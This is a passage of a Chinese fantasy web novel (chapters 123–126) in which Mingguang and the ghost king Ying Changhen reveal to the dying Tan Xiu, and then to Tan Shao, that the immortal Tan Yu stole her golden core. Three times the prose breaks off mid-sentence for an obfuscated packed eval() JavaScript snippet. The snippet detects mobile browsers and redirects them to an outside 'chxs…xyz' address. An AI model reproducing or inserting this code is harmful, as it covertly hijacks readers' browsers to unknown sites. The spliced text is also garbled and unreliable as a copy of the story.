“多谢这位小哥,顺便问一下,檀绣住在哪儿呢?” 少年弟子被问得愣住了,每天来檀家村的修士那么多,都是奔着沾一沾冲元真君的仙气来的。 这还是破天荒地头一回,有人不问檀绍问檀绣。 檀绣其人,不但在修真界声名不显,就连在檀氏一族都快要查无此人了。 因为一直无法结丹,她已经被檀园专为族中子弟设置的修真学堂清退。 所有檀氏一族的子弟,只要有志于修仙一道的,都可以从七岁起进入修真学堂学习。 表现出色者会开小灶重点培养,甚至还有机会被宗主收为嫡系子弟;表现不佳的就会被清退,不再浪费宝贵的教学资源。 清退学员的一大标准,就是能否顺利结丹。因为不能结成金丹的话,也就不可能修成正果,只能被淘汰。 123.金丹 檀绣今年二十五岁,同辈其他年轻子弟都已经结成金丹,唯独她不行,被学堂清退是再自然不过的事。 遭到清退的檀氏子弟,要么不甘心,选择自己在家继续修炼,走自学成才的路线;要么就彻底死了心,放弃修仙回归普通人的生活。 檀氏一族历代被清退的子弟中,前者只是极少数,绝大部分都是后者。 那极少数的前者,结局也都是苦修多年依然毫无突破,到头来还是只能心灰意冷地做一个普通凡人。 檀绣如今成了极少数的前者之一,自己独自一人在家苦苦修炼,想要突破无法结丹的瓶颈。 因为太过执着于这一点,她都变得有些疯癫魔怔了,成了檀家村人人摇头叹气的对象。 少年弟子满脸迷惑的神色问道:“你们找檀绣干吗?” “有事要和她面谈。” “她住在村子西边的最后一条巷子,你们从那边过去,先直走,再右拐,然后一直走到底就到了。” 明光谢过少年弟子,抬脚朝着村子西边走过去。 应长恨跟在他身边问道:“阿难哥哥,你还没告诉我,为什么要来找这个檀绣呢?” “等我找到了人,你自然就知道为什么了。” . 檀家村虽然热闹非凡,但也是要分地方的。 村子东面与后山,作为冲元真君檀绍的潜龙之地,自然是挤满了熙熙攘攘的人。 村子西边就要冷清多了,尤其是走到最后一条窄巷时,根本都看不到一个人。 巷子最里头那座偏僻又破旧的小院,就是檀绣的居所。她生父早逝,生母改嫁,从小由叔父一家抚养长大。 被檀氏一族的修真学堂清退后,叔父建议檀绣放弃修仙嫁人生子,她坚决不同意,搬出叔父家住进这处小院独自清修。 走到院门口,明光抬手轻敲了两下漆色斑驳的木门,屋里没有任何反应。 应长恨在一旁道:“是不是没人在家?” “应该不至于,不是说檀绣每天都把自己关在家里闭门苦修嘛!” 明光又敲了几下门,还是无人应答。应长恨下意识地动用法力去探知屋里的动静,神色蓦然一凛。 “不好,有死气。” 人在临死前会散发出死气,这种气息凡人察觉不到,但是应长恨却敏锐如雷达一般。 毕竟他可是鬼域之王,捕捉鬼气与死气都再准确不过了。 . 应长恨的话听得明光神色一变,立刻身形一晃,直接穿门越墙进了正屋。 正屋被设计成修士打坐炼气化神的静室,除了蒲团以外什么都没有。一个身形清瘦的女子,就一动不动地伏卧在蒲团旁。 “阿难哥哥,她一定就是檀绣了。” 明光顾不上点头,先冲到檀绣身旁蹲下去查看她的情况。 应长恨没有上前,因为空气中弥漫浓浓的死气,说明这个女人已经没救了、死定了,只有神仙出手才能起死回生。 明光小心翼翼地翻过檀绣的身子,她那张清秀的面孔是毫无生气的惨白,眼睛、鼻孔、嘴巴和双耳,却都在往外涌出殷红的鲜血。 应长恨道:“七窍流血,她这是修炼时走火入魔了。” 修士在炼气化神时,如果思绪不宁就容易走火入魔。一般情况下都会导致内伤,最严重的结果甚至是当场暴毙。 而檀绣就摊上了这种最严重的结果,真气在体内运行失控,已经将她的五脏六腑都全部撕裂。 明光和应长恨赶到时,她就只剩下最后一口气,两点眸光如同风中的烛火,随时可能彻底熄灭。 明光伏下身子直视着檀绣的眼睛,急促又大声地告诉她。 “檀绣,其实你早就结成金丹了,只是你的金丹被人偷了。” 檀绣那双黯淡无光的眼睛,顿时如同灯芯爆花一样,瞬间亮起两点格外明亮的光芒。 “谁……” 檀绣从染血的嘴唇中努力挤出一个字,问得十分吃力。 明光明白她想问什么,也明白她的时间不多了,赶紧把自己知道的一切一股脑儿全说出来。 “你十四岁那年就已经结成金丹,是修真界难得一见的天才少女。但是檀豫暗中窃走你的金丹,植入檀绍的丹府,让他取代你成了檀氏一族天纵奇才的新秀。” . 修真人士结成的金丹,是丹府中无形无象的存在,唯有神仙能一目了然地看出来,也唯有神仙才能不伤筋动骨地暗中窃走。 当然,这么做很耗法力,还要承担风险。 因为这是天规明令禁止的事,一旦发现哪个神仙这般行为不端,结果就是被逐出天界打回凡人。 所以,绝大多数神仙都不会冒险这么做。无缘无故为什么要窃走凡界修士的金丹? 毁了别人的修行对他们没有任何好处,反而会因为触犯天规被踢出仙班。 但是檀豫对此却没什么顾忌。 身为云间仙境数一数二的大仙官,人人逢迎的丹道仙师,在根脚足够稳的情况下,他只要明面上不出错,私底下做点不该做的勾当,还怕遮掩不过去吗? 作为一名罕见的修真天才,檀绣不但年纪轻轻就结成金丹,那枚金丹还比其他修士的更加金光澄澄,这预示着她日后极有可能飞升成仙。 在檀绣结成金丹前,檀豫应该就已经留意到了后代中出了这么一位天才少女。有朝一日如果她能位列仙班,他那张老脸也会很有光彩。 然而,檀豫显然并不希望为自己增光添彩的后人是檀绣。 在她金丹结成之际直接出手摘桃子,再将这枚金光澄澄的金丹植入檀绍的丹府。 檀豫的一番暗箱操作,让十三岁的檀绍成为檀氏一族最早结丹的修真天才。 而原本天资过人的檀绣,却因为始终无法成功“结丹”,沦为人人摇头的修真废材。 . 明光说出的真相,让檀绣一双眼睛瞪得浑圆无比。 她脸上的神色既难以置信又悲愤难当,嘴唇颤抖着想要追问缘故,却直接喷出了一口鲜血。 一旁的应长恨都听得惊愕难当。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808853|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “檀老头为什么要这么做?无论檀绣还是檀绍,不都是他的后人吗?” “虽然都是他的后人,但他要这样厚此薄彼,自然是有原因的。具体是何缘故我并不清楚,不过听说檀豫觉得檀绍跟自己年轻的时候一模一样,或许这就是他偏心他的原因吧。” 因为檀绍是后人中最像自己的一个,所以檀豫想要提携他上位,某种程度上就是在偏爱自己。 “难怪檀绍一开始在修仙之道上表现得天资平平,后来却能一飞冲天,因为檀豫利用檀绣的金丹暗中为他加持。这个老家伙也太可恶了吧?” 应长恨忍不住开骂,檀绣更是愤恨得浑身直颤,从七窍里涌出来的鲜血更多更急,却还拼尽全力嘶声道:“我……好……恨……” 话还没有说完,她的声音就戛然而止,头也无力地歪到一旁,一双眼睛犹自死不瞑目地圆睁着。 檀绣死后,一团魂火从她的眉心灵台处飞出来,弱弱的、小小的一团,是人死后最初的灵魂形态。 明光眼疾手快地握住那团魂火,直接打回她的眉心,又用一道固魂符封住。 这番操作后,魂火三日之内不会再离体,尸身也不会腐坏。在此期间如果有神仙愿意出手施救,檀绣就能活过来。 “阿难哥哥,你想找哪个神仙来救她?” “能令凡人起死回生的本事,并不是哪个神仙都有的。在天界除了帝君以外,也就只有檀豫炼制的九转还阳丹有这等功效。” “如今天界的帝君是一个冒牌货蛇精,他肯定是不行的。那就只剩下檀豫一个选择,但他却是造成檀绣含恨而死的元凶,可能答应出面救人吗?” 明光想也不想地就摇头,“他肯定不会答应了。” “那你还能找谁?” “我想找檀绍,看看能不能让他去檀豫那儿偷一枚九转还阳丹来救人。” 应长恨忽然想起了一个很重要的关键点。 “对了,檀豫当初暗箱操作,让檀绍踩着檀绣上了位,这事他本人知道吗?” “不清楚。不过据我观察来看,他应该是不知情的。否则也不会总是摆出一副‘普天之下我最牛逼’的架势——骄傲得底气十足。” “阿难哥哥,这件事你是怎么知道的?” “卫靖告诉我的。” 应长恨明白了,“上回在瀚海沙漠,他把你叫到一旁私下交谈,就是说的这件事吧?他又是怎么知道的?” “这个回头再说,先把檀绍找来救人要紧。” “怎么找,上回你在万仞山和他见面时可是不欢而散,他肯定不会把自己的传讯飞符给你一张吧?” “嗯,我没有檀绍的传讯飞符,只能有劳阿难弟弟你辛苦一下,把他引来这儿。” 明光并没有具体说要怎么引来檀绍,应长恨却已经心领神会地点了一下头。 “我倒是没问题,就是不知道这小子敢不敢来。” “试试看吧,不试怎么知道呢。我个人觉得就凭他那股目空一切的傲劲儿,应该是不会当缩头乌龟的。” 124.所以 每天下午,是檀家村人流量最高的时候。 各地跑来沾仙气的修士接踵而至,在檀绍故居与练剑谷排成两条乌泱乌泱的队伍长龙。几乎人手一包仙官同款的糖炒栗子,一边吃着一边排队等着打卡参观。 突然间,村子西边上空猛地蹿出一道冲天黑气,让所有人都为之大吃一惊。 吃惊过后,有反应快的修士失声骇叫起来:“天啊,好强的鬼气,不是鬼王就是鬼将在此,大家赶紧逃命吧!” 无间鬼域与云间仙境将有一战的事,整个修真界都听说了。 新任鬼王应长恨已经着手组建鬼军,还钦点了疫鬼厉无情与魅鬼朱颜悔为左右大将,这些也都不是秘密。 无论是应长恨还是他麾下的左右大将,都是这些凡界修士难以匹敌的对象。他们自然都是有多快就赶紧跑多快,毕竟保命第一。 不过片刻功夫,檀家村里熙熙攘攘的人流就像开闸泄洪一样跑得精光。之前还热闹得活像菜市场,现在死寂得如同坟场。 檀园那边也发现了檀家村这头的情况不对劲,檀氏一族的宗主遥遥望着那道冲天的黑气,一向沉着冷静的面孔上,是前所未有的失控神色。 “快,所有人都尽快撤,撤去镇上的冲元庙烧香,烧得越多越好。必须尽快让冲元真君下凡驱鬼,否则咱们都要性命难保了。” 无论应长恨还是厉无情或朱颜悔,都是出手狠辣之鬼。如果他们想要屠了檀氏一族,那么阖族上下恐怕都无法逃出生天。 一个檀氏修士又惊又惧又不解:“无间鬼域不是要跟云间仙境宣战吗?为什么今天却找上了咱们檀氏一族?” 檀宗主吼道:“你问我我问谁?现在这个问题很重要吗?重要的是赶紧去给冲元真君烧香——如果你不想死的话。” . 云间仙境,每位仙官设置的信香关键词中,基本都有与他们飞升前息息相关的内容。 譬如檀绍出身于修真世家檀氏一族,这个家族每次向他烧香祈愿,肯定会被优先聆听。 虽然天规规定凡人飞升成仙后,不能再插手凡界俗务,但是有一种情况例外,那就是降妖伏魔。 檀氏一族通过信香请求檀绍下凡降服厉害的妖孽,他可以名正言顺地走上一趟,因为这是身为武神的职责所在。 当冲元殿的白玉香案上,突然闪烁起许多来自檀氏一族信香的红色光点时,檀绍直觉就是出了大事。 得知檀家村突然冒出一阵冲天鬼气,他无法不大吃一惊。 无间鬼域为什么找上了檀氏一族?难道是因为自己上回在万仞山得罪了明光,这家伙怀恨在心,所以挑唆应长恨来檀家村屠戮他的族人泄愤吗? 这个猜测让檀绍的面孔霍然变色,毫不犹豫地立即奔向人间凡界,只匆匆丢下一句话给殿内侍奉的小仙官。 “檀家村有鬼气冲天,我去下凡驱鬼,你速去紫衡殿向帝君禀报此事。” 小仙官还没反应过来怎么一回事,檀绍已经连人影都看不见。后知后觉地意识到出了大事后,小仙官立刻以最快速度赶去紫衡殿禀报,找帝君为自家仙官派遣救兵。 . 檀绍心急如焚地驾云来到檀浦镇上空时,发现除了那道无比嚣张的冲天黑气外,并没有预料中横尸遍野的血腥场面。 无论檀园还是檀家村,都没有看见一个死人,只是活人全部跑光了。 檀宗主平时虽然是威风八面的修真界大能,但是遇上无间鬼域的牛鬼就很有自知之明地果断认怂,带着檀氏一族的人躲去了冲元庙。 纵然站在檀绣的屋子里足不出户,应长恨也能感知到附近所有活人的气息都消失了,不无鄙夷地撇了一下嘴。 “一群胆小鬼,我还没怎么着呢,他们就已经全部逃得不见人影了。” 一旁的明光却道:“这才是聪明人的作派,等到你开始动手了,再想跑就迟了。如果换作是我,在实力如此悬殊的情况下,也会逃得比兔子还要快。” “你逃可以,他们逃我就一百个看不上。” “为什么?难道我逃跑的样子比较帅吗?” 明光问得一本正经,应长恨不作解释,只是强调道:“反正你可以别人不行。” “阿难弟弟,你这种双重标准会让别人很不服气的。” “没事,谁要是不服气,我会打到他服气为止。” 这时,明光右腕上的虎头铃铛叮叮作响起来,他了然道:“檀绍来了,来得还挺快。” 话音刚落,应长恨已经跃出屋外,仰头望向天空中那位白袍白甲疾飞而来的年轻武神。 “不错,他比我想像中有种,自己一个人就来了。” “初生牛犊不怕虎,这是年轻人独有的无所畏惧。江湖越老,胆子越小。” . 檀绍来了,应长恨就把冲天黑气收了。明光走到院子里,朝着还飞在半空中的仙官友好地挥了挥手。 “檀仙郎,这边请。” 见到明光和应长恨在一起,檀绍看着他们的表情,是大写加粗的“狼狈为奸”四个字。 他在院中甫一降落,就开门见山地喝斥起来。 “明光,你勾结鬼王对天界宣战也就罢了,现在跑来檀家村干吗?难道还想屠戮凡人不成?” “檀仙郎,如果我们是来屠村的,这儿早就遍地死人了,哪怕你速度再快也只能赶来收尸。” 明光所言属实,如果他俩真有此意,檀绍现在赶到为时已晚。 应长恨在一旁冷冷补充道:“本王如果想屠村,檀氏一族的人,根本都没有机会向你求救。” “那你们两个跑来檀家村干吗?总不会是来串门的吧?说,你们到底有什么企图?” 檀绍的眼神中依然满是警惕之色,修真界与妖魔鬼怪并不是什么友好来往的关系,明光和应长恨无论如何也没理由出现在修真世家的檀家村。 明光回答道:“实不相瞒,我是来找檀绣姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817668|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘的。” 这个回答让檀绍出乎意料,“檀绣——你找她干吗?难道你们认识吗?” “素未谋面,只是之前听卫靖提起过她。” “卫靖——那个暗中纵容精魅儿子在瀚海沙漠为祸一方的家伙?他又是怎么知道檀绣的?” 满头雾水的檀绍,突然捕捉到空气中有一缕血腥气在弥漫。 他蓦然扭头望向这股气味的来源处,目光一凝透墙而视,发现屋里居然躺着气息已绝的檀绣。 檀绍和檀绣是檀氏一族中的同辈子弟,她在修真学堂的头几年表现得十分抢眼,为族人所熟知,他也是认识这位堂姐的。 “檀绣她怎么死了?明光,是不是你干的?” 明光无缘无故跑来找檀绣,结果檀绣就死了,自然是檀绍的第一个怀疑对象。 “冤枉啊檀仙郎,你可别张口就给我扣上这么一顶大黑锅。檀绣姑娘不是我杀的,是她自己走火入魔导致的暴毙身亡,不信你可以进屋确认一下。” 进屋一番仔细确认后,檀绍可以肯定明光说的是事实,但还是有些怀疑。 “为什么檀绣早不出事晚不出事,你们今天跑来找她她就偏偏出事了?你们该不会暗中动了什么手脚想要她死吧?” “檀仙郎,如果我想让她死的话,就不会让应长恨利用鬼气引你下凡了。我呢,其实是一片好心想要救人的。檀仙师那儿不是有九转还阳丹嘛,你去偷一颗来给她服下,死人不就能活过来了。” 檀绍难以置信地瞪着明光,完全无法理解这个人的异想天开。不但想指使他盗取起死回生的仙丹,还能把话说得这么轻巧。 “你让他用鬼气故意引我下凡,就是为了找我去普和真君那儿偷仙丹。生死乃由天定,逆天行事救活一个死人,这是触犯天规的。就算檀绣是我从堂姐,我也不能这样做。明光,你凭什么觉得可以这样指使我?” 明光还没开口,应长恨已经冷冷道:“凭你欠了檀绣的。” “我怎么欠了檀绣的?应长恨,你把话给我说清楚。” 应长恨看了明光一眼,“你说还是我说?” “还是我来吧。是这么回事檀仙郎,其实檀绣早在十四岁那年就已经成功结丹,而且结成的金丹金光澄亮,大有飞升之象。檀仙师也不知出于什么心态,暗中出手窃走她的金丹,转而植入你的丹府。失去金丹的檀绣从此一落千丈,而得到金丹的你却一飞冲天,所以你说自己是不是欠她的吧?” 如同九天之上一道惊雷当头劈下,劈得檀绍大脑一阵嗡嗡作响,几乎要立足不稳。 但是他很快就冷静下来了,暗中告诫自己绝对不能轻信明光毫无凭据的片面之辞。 “这不可能,你胡说八道。明光,你的话可有证据能够证明?如果没有,那你就是在恶意中伤檀仙师和我。” “我没有证据,这件事是卫靖告诉我的。他说是他亲眼所见,檀仙师把从檀绣那儿窃来的金丹植入了你的丹府。” 125.间接证明 十几年前,卫靖无意中发现檀豫以公事为由下凡时,暗中去往檀氏一族暗中观察一个名叫檀绣的后裔。 那个豆蔻年华的少女,在修真一道上表现得才华惊人。 天规规定,所有飞升成仙者都不能再有凡心尘缘,必须彻底割舍前世种种人事关系,否则就是修行不够会被打回下界重新修炼。 檀豫如此关心自己后裔中的一位修真天才,卫靖猜他应该是怀有私心想助其一臂之力。 虽然天规明令禁止这种事,但一位大仙官暗中出手帮自家人走个捷径,只要没人知道也就没事了。 卫靖自己也是有私心的,为了保佑精魅儿子同样罔顾天规。 他在天界的地位没有檀豫高,如果能握住这位老神仙的一个把柄,以后万一他袒护儿子的事走漏了风声,还能找檀豫帮助压下来。 怀着这种盘算,卫靖暗中跟踪起了檀豫,想亲眼坐实他出手关照檀绣一事,日后才有筹码跟檀豫谈交易。 事态发展却出乎卫靖的意料,檀绣原来并非檀豫想要关照的对象。 他暗中窃走这位天才少女刚刚成功结成的金丹,转而植入另一个天资平平的檀氏少年的丹府中。 尽管与檀绣毫无关系,卫靖都觉得这个少女真是太冤了。 明明她才是天资过人有望飞升的修真天才,但是檀豫这番缺了大德的操作,让她此生再也无望得道成仙。 因为结丹的机会只有一次,金丹失去了就永远失去了。 当时,卫靖并不明白檀豫为什么要这么做,明明两个都是他的后裔,何故要厚此薄彼? 他唯一能想到的可能性,就是檀豫更希望檀氏一族再次飞升的成功者是男子而非女子。 檀绍成功飞升后,冲着檀豫的面子,前往冲元殿道贺的人络绎不绝,都众口一词地夸奖他是如何如何年少有为。 这种锦上添花的事,卫靖平时也会随大流走一趟,那日却是专程去的。 混杂在冲元殿熙熙攘攘的人群中,他基本不说话,只是专注地听檀豫跟别人说话。 有位仙官奉承道:“普和真君,檀氏一族出了两位得道飞升的神仙,无论是在人间凡界还是云间仙境,您都后继有人了。冲元真君年少有为,器宇非凡,颇有您老人家当年的神韵呢!” 檀豫笑眯眯地点头道:“阿绍这孩子长得很像我,简直和我年轻的时候一模一样。” 卫靖听得暗中冷笑:原来如此。 . 那日在瀚海沙漠,卫靖把自己知道的一切全部告诉明光时,他一边听一边判断,觉得此事十有八九是真的。 今日在檀家村,檀绍却是无论如何不会相信明光这番话的。 “卫靖已经伏诛,你把一个死人抬出来,又能证明什么呢?” “的确是证明不了什么。不过檀仙郎,此事虽然没有直接证据,但有个法子或许能够间接证明。修炼金丹大道,男子以精为基,女子以血为基。檀绣结成的金丹乃阴血化炁凝成,哪怕这些年已经被你炼化为己有,但基础终究还是那个基础。如果你愿意找个地方闭关两天,设法通过元神去辨识体内金丹的基础,不就能确认我说的是真是假了吗?” 明光话音刚落,应长恨就抛出了一个直刺要害的问题。 “如此说来,到底有没有辨识出金丹的基础,只有檀绍本人才清楚。要是他揣着明白装糊涂,一口咬定没这回事怎么办?” “不会的了,我相信檀仙郎不是那种人。是吧檀仙郎?” 檀绍铁青着一张脸道: “明光,你少拿话来将我的军。你说的这法子未必有效,到时候我无法辨识或者辨识结果是绝无此事,你们也可以反过来一口咬定是我存心隐瞒事实,反正怎么样都能恶心我一把。” 确实如此,一没物证二没人证只能心证的事,如果别人死活不相信,那当事人就是跳进黄河都洗不清。 明光正色道:“如果觉得这个法子不好使,要不你干脆直接去问檀仙师吧。檀绍,你不是傻子,当面锣对面鼓的对质,我相信你肯定能看出不对劲的。” “你算什么东西?我凭什么因为你毫无证据的一番话就去质问檀仙师?” 檀绍对明光不无鄙夷的傲慢态度,让应长恨无法不火冒三丈,忍无可忍地开喷了。 “明光才不是什么东西,他是有史以来最年轻的仙官。十八岁就靠个人实力飞升成仙,比某些靠老祖宗出手踩着女人上位的所谓武神要强百倍都不止——这么一比较,不是东西的人是你檀绍才对。” “靠老祖宗出手踩着女人上位”这一评价,让檀绍顿时像被踩了尾巴似的一蹦三丈高,脸红脖子粗地怒吼起来。 “应长恨,无凭无据你凭什么这么说我?你和明光分明就是合起伙来想要抹黑我。” 明光在一旁和和气气地道: “檀仙郎,我们到底是不是恶意抹黑,你有两个法子可以验证:要么自行辨识金丹的基础究竟是精为基还是血为基;要么直接找檀仙师当面对质。” 顿了一下后,他又指着死不瞑目的檀绣道: “不过直接问檀豫会打草惊蛇,到时候再想偷九转还阳丹来救人就难了,所以我还是希望你先试下第一个法子。现在你可能一时接受不了这件事,要不你回去再好好想一想吧。反正还有时间,檀绣的魂火被我封回了肉身,三日内不会离体。如果你弄清楚了事实真相,也愿意出手救她,切记不要超过三日之期。” 檀绍理也不理明光,怒冲冲地拂袖而去。 应长恨怒视着他远去的身影道:“阿难哥哥,你刚才那番话也不知道这家伙到底听进去了没有?” “天知道,总之檀绣这条命能不能救回来,就看檀绍的脑筋能不能转过弯来了。” . 檀绍亲自下凡驱鬼后,檀家村上方的冲天黑气很快就消失了,但并没有出现仙鬼厮杀会产生的能量波四散。 躲在远处冲元庙里的檀宗主,对此满头雾水:那边是怎么回事啊,到底打起来了还是没打起来? 檀绍在檀家村没有逗留多久就驾云离去,临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840796|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走前在半空画出一道由白光凝成形状巨大的平安符,示意檀氏一族可以平安回家了。 带着人马回归檀园和檀家村后,檀宗主下令排查一番,发现两地都没有任何斗战痕迹,所有屋舍都完好如初,人员也没有伤亡。 总而言之言而总之,那道冲天鬼气除了把檀绍给招来了,没有进行任何破坏性举动。 厉害的牛鬼不但直接找上了檀氏一族,还嚣张无比地放出冲天黑气引来冲元真君。 结果不但没跟他打起来,甚至还啥破坏也没搞,就这样虎头蛇尾地熄了火,怎么看都透着“此事必有蹊跷”。 蹊跷归蹊跷,檀宗主却不打算深究。 因为他很清楚,这可不是自己能管得了的事。仙鬼两界如果要对着掐的话,他一介凡夫俗子还是有多远闪多远吧。 一个负责在檀家村排查的檀氏子弟前来禀报:“启禀宗主,之前的排查漏掉了一个人——檀绣可能出事了。” “什么叫可能出事了,檀绣她到底怎么了?” “具体不清楚,因为她独居的小院不知被谁设了结界,我们根本进不去,也就不知道她的情况如何。” “能确定她人在屋里吗?” “一定在,她痴迷于修炼,根本都不出门的。” “也就是她现在被封在里头,不知是死是活?” “对,宗主,要不您亲自过去看看,能否破界入内吧。” 檀宗主亲临现场一看,发现那道结界自己无法破除。设下结界的人法力高强,除非他的法力能强过对方,否则就是无能为力。 檀绣的居所为什么会被结界封锁,檀宗主一无所知。 但他却后知后觉地有所明了,这个地方应该就是黑气冲天的始发地点。不请自来的牛鬼之所以引来檀绍在此见面,恐怕是跟檀绣有关。 到底有什么关系?檀宗主可就弄不明白了。 檀绣只是檀氏一族的无名之辈,怎么会惊动无间鬼域那边的鬼找上门来呢?难道是被哪个牛鬼看中了想要抢亲不成? 可如果是这样的话,又为什么要有意惊动檀绍下凡?难道是嫌抢亲的过程不够刺激吗?没必要玩得这么大吧!而且问题是双方也没打起来呀! 檀宗主就算想破头都想不明白这究竟是怎么一回事。 . 檀绍回到云间仙境时,帝君英昊派去支援他的钟离斐正准备出发。 好不容易才彻底驱除“伤神”之毒的钟离斐,武力值刚恢复正常,就摩拳擦肩地想要找厉无情扳回一局。 听说有嚣张厉害的牛鬼在檀家村搞事情,他立马自告奋勇下界支援。 谁知都还没来得及走出白云关,钟离斐就已经迎面遇上了返回天界的檀绍。 “咦,冲元真君,你怎么就回来了?我还准备去助你一臂之力呢!” “不用,已经没事了。” “你只到檀家村点个卯的功夫就没事了?来者是谁?既然能释放出冲天的鬼气,肯定是无间鬼域的大能,又怎么会这么不经打呢?” 126.丹霞子 如此不合逻辑的情况,钟离斐自然是一问接一问。 檀绍平时就不是一个会耐心作答的人,更别提此刻还心烦意乱着。 “总之我说没事就没事,你别问那么多了。” 檀绍如此生硬的态度和语气,让钟离斐也有些恼火。 “冲元真君,你可以不回答我的问题,但是紫衡殿那边你还得去交代一下。如果面对帝君的询问,你还是这种态度我钟离斐就服你。” 在紫衡殿面奏帝君英昊时,檀绍自然不可能像对待钟离斐一样不耐烦,态度还得十分恭敬才行。 “参见帝君。” “冲元真君,你怎么这么快就自下界返回了?” “帝君容禀。” 自己这趟下凡到底经历了什么,檀绍没法直接告知英昊,只能编一套说辞来应付。 “在檀家村放出冲天鬼气的人是鬼王应长恨,明光也和他在一起。上次我陪太清元君去万仞山与明光见面时跟他吵了几句,这家伙应该是怀恨在心,就唆使应长恨来檀家村捣乱。” “照这么说的话,你下凡后应该要以一敌二跟他俩恶斗一场才对吧?” “原本我是准备与之恶斗一场的,但明光也不知道在搞什么鬼,竟又假惺惺地充好人劝走了应长恨。我见他们并未伤害檀家村的百姓,也就没有阻挡。他们一走我就直接回来了。” 紫衡殿中,除了英昊高踞鎏金宝座之上,檀豫、陆衢和温且惠也都在殿内侍立着。 檀绍的这套说辞,听得所有人都有些犯迷糊。 明光都唆使应长恨一起跑去檀家村搞事情了,还十分嚣张地放出冲天黑气引檀绍下凡对战。却又在他来了后不战而退,也没有祸害百姓,这到底是什么情况啊? 陆衢头一个开口道:“他俩这么折腾到底图啥呀?” “我也不知道,反正明光这家伙就是这么折腾我的。” 檀绍编不出更合理的说辞,只能一口咬定事情就是这么回事。 檀豫的目光闪烁不定,欲言又止,似乎想问什么却临时改变主意不问了。 温且惠柔声道:“好了,没事就好。冲元真君你独自下凡应对此事,我们听说后都很不放心,幸好有惊无险,你平安归来了。” 按照檀绍的说话,这样折腾人的罪魁祸首是明光。 他完全不清楚他在暗中憋着什么坏,再问也问不出什么所以然来,紫衡殿的面奏只能草草结束了。 . 檀豫在紫衡殿上什么也没有问檀绍,走出殿后,却把他拉去了普和殿私下盘问。 “明光跑去檀家村具体干了什么,你知道吗?” 檀绍虽然知道得很清楚,却不能告诉檀豫。明光对他的那些恶意抹黑与中伤,他作为后代子孙实在是说不出口。 “不知道。” “那他在檀家村有没有找过什么人?” 檀豫的关注点听得檀绍心里一突,他为什么要追问这一点,他觉得明光能去檀家村找谁呢? “没有吧,明光去檀家村能找谁呀?” 檀绍有意无意地反问了一句,檀豫点头道:“也是,檀家村并没有他认识的人。阿绍,那你赶到檀家村时,所有人都撤走了吗?” “嗯,应该是全部撤走了,至少我没有见到村里还有其他人在。” 檀绍再次撒了谎,虽然他并不是一个擅长此道的人,但正因为他平时从不说谎话,既不屑为之也没有必要,所以檀豫也没有怀疑。 “如此甚好。” . 离开普和殿后,檀绍没有回自己冲元殿,而是暗中守在通往白云关的必经之路上。 他不知道自己为什么要这么做,几次三番想要拔足走人,但双脚却像被牢牢钉住了似的动弹不了。 没过多久,普和殿一个最爱檀豫信任的小仙官丹霞子匆匆经过。他手里握着一块灵玉令牌,凭此令牌方能通过白云关离开天界。 各个神殿的大仙官麾下都有一批当差办事的小仙官,他们出入云间仙境时,必须持有各殿主神颁发的灵玉令牌,白云关那边才会放行。 檀豫这个时候派丹霞子下凡,只能是为了打探檀家村那边的消息。 作为已经一位已经飞升数百年的老神仙,檀豫平时对檀氏一族从未表现出如此高的关注度,更何况檀绍都已经告知檀家村平安无事。 所以,他关注的重点肯定不是檀家村,而是另有其人或其事才对。 难道明光说的一切都是真的?檀绍一动不动地僵立原地,那张英俊的面孔如同失血般变得苍白起来。 . 檀家村,檀绣的小院。 檀绣气息全无的尸身,已经被搬上了西厢的绣床,七窍流血的面孔也被擦得干干净净。原本圆睁的双目由明光亲手阖上了,看上去不再那么形容可怖。 处理好这一切后,明光并没有离开,而是和应长恨一起并肩站在小院里。 “阿难哥哥,你要留在这儿,是在等着看檀豫会不会派人前来打探消息吧?” “知我者,阿难弟弟也。如果檀豫派人来了,就更能说明他心里有鬼。” 檀绍下凡驱鬼却没有跟应长恨打起来,回到天界后肯定会被追问缘故。真相他没法说,只能编造一个理由来搪塞。 无论是什么理由,明光和应长恨突然出现在檀家村,檀豫心里难免都会犯嘀咕。 做贼心虚的人往往如此,总怕自己做过的坏事会被别人察觉出来。 他们没有等上太久,就有人试图破解结界进入小院。 一开始是檀氏一族的修士,包括檀宗主在内纷纷铩羽而归。后来,又来了一位来自天界的小仙官。 结界的牢固程度,取决于设下结界者的法力高低。 这个结界是明光让应长恨设的,别说区区一个小仙官,就算是檀豫本人亲自上阵,也解不开鬼王的结界。 下凡后,丹霞子先在檀家村四处转悠了一圈。 得知村里有处偏僻小院被人设下结界封锁了,住在里头的一位女修檀绣生死不明,自然是第一时间跑来查看 